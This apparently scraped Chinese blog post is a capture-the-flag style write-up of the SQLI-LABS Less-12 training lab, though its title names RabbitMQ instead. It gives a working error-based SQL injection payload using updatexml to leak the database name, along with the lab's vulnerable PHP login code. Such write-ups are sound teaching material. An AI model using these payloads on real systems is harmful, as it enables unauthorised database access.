0
点赞
收藏
分享

微信扫一扫

rabbitmq自学总结

三分梦_0bc3 2024-11-06 阅读 16

0x01:过关流程

输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来):

 http://localhost/sqli-labs/Less-12/

如上,靶场中有一个登录框,要我们输入用户名与密码,似乎要我们进行登录。我们先随意传递点值,看看其反映(笔者传递的是:123 : 123):

可以看到,服务器返回了 LOGIN ATTEMPT FAILED,告诉我们登录失败了。问题不大,我们再多输入几组数据进行测试:

 测试 Payload 01: Username&password = 123 : 123 # 结果: LOGIN ATTEMPT FAILED
 测试 Payload 02: Username&password = 12' : 123 # 结果: LOGIN ATTEMPT FAILED
 测试 Payload 03: Username&password = 12" : 123 # 结果: 报错

可以看到,当我们传递 Payload 03 给服务器后端时,页面显示了报错信息,并且还返回了部分后端的查询模板,根据泄露的模板,我们可以推测目标后端的 SQL 模板如下:

 select * from users where username=("$_POST['name']") and password=("$_POST['name']") LIMIT 0,1;

根据上面的 SQL 模板,我们可以构造如下 Payload 对目标发起攻击:

 -- 获取当前服务器正在使用的数据库的名称
 攻击 Payload - Username: 12") and updatexml(1,concat(0x7e,database(),0x7e),1) #"
 攻击 Payload - Password: 123
 笔者备注: 0x7e 是字符 ~ 号,用于标识服务器报出来的数据。

可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。至此,SQLI LABS Less-12 POST-Error Based-Double quotes-String-with twist 成功过关。

0x02:源码分析

下面是 SQLI LABS Less-12 POST-Error Based-Double quotes-String-with twist 后端的部分源码,以及笔者做的笔记:

 <?php
 //including the Mysql connect parameters.
 include("../sql-connections/sqli-connect.php"); // 获取数据库连接函数
 error_reporting(0);
 ​
 // take the variables
 if (isset($_POST['uname']) && isset($_POST['passwd'])) {
     $uname = $_POST['uname']; // 接收 POST 型传参
     $passwd = $_POST['passwd'];
 ​
     //logging the connection parameters to a file for analysis.
     $fp = fopen('result.txt', 'a');
     fwrite($fp, 'User Name:' . $uname . "\n");
     fwrite($fp, 'Password:' . $passwd . "\n");
     fclose($fp);
 ​
 ​
     // connectivity
     // 仅仅是将收到的参数两边加上了 " 号后,就拼接到了 SQL 模板中
     $uname = '"' . $uname . '"';
     $passwd = '"' . $passwd . '"';
     @$sql = "SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1"; // 后端的 SQL 模板
     $result = mysqli_query($con1, $sql);
     $row = mysqli_fetch_array($result, MYSQLI_BOTH);
 ​
     if ($row) { // 如果获取到了数据库的值,则显示登录名与密码
         //echo '<font color= "#0000ff">';
         echo "<br>";
         echo '<font color= "#FFFF00" font size = 4>';
         //echo " You Have successfully logged in " ;
         echo '<font size="3" color="#0000ff">';
         echo "<br>";
         echo 'Your Login name:' . $row['username'];
         echo "<br>";
         echo 'Your Password:' . $row['password'];
         echo "<br>";
         echo "</font>";
         echo "<br>";
         echo "<br>";
         echo '<img src="../images/flag.jpg"   />';
 ​
         echo "</font>";
    } else { // 如果没有收到数据库的值,则会显示数据库的错误信息
         echo '<font color= "#0000ff" font size="3">';
         //echo "Try again looser";
         print_r(mysqli_error($con1));
         echo "</br>";
         echo "</br>";
         echo "</br>";
         echo '<img src="../images/slap.jpg"   />';
         echo "</font>";
    }
 }
 ?>
举报

相关推荐

0 条评论